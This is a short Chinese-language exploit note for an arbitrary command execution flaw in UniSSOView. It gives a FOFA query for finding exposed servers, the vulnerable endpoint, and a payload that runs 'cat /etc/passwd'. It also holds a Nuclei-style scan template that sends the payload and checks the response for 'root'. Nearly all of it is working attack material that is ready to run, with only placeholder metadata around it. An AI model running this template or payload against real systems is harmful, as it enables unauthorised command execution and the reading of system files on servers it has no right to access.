UniSSOView 任意命令执行复现

# FOFA语法"UniSSOView"

# 拼接路径/TunnelGateway/commondRetStr

shellCmd=cat /etc/passwd

id: template-id
info:  name: Template Name  author: Ph9ar  severity: info  description: description  reference:    - https://  tags: tags
requests:  - raw:      - |-        POST /TunnelGateway/commondRetStr HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Upgrade-Insecure-Requests: 1        Sec-Fetch-Dest: document        Sec-Fetch-Mode: navigate        Sec-Fetch-Site: none        Sec-Fetch-User: ?1        Sec-Ch-Ua-Platform: "Windows"        Sec-Ch-Ua: "Google Chrome";v="103", "Chromium";v="103", "Not=A?Brand";v="24"        Sec-Ch-Ua-Mobile: ?0        Te: trailers        Connection: close        Content-Type: application/x-www-form-urlencoded        Content-Length: 24
        shellCmd=cat /etc/passwd
    matchers-condition: and    matchers:      - type: word        part: body        words:          - root      - type: status        status:          - 200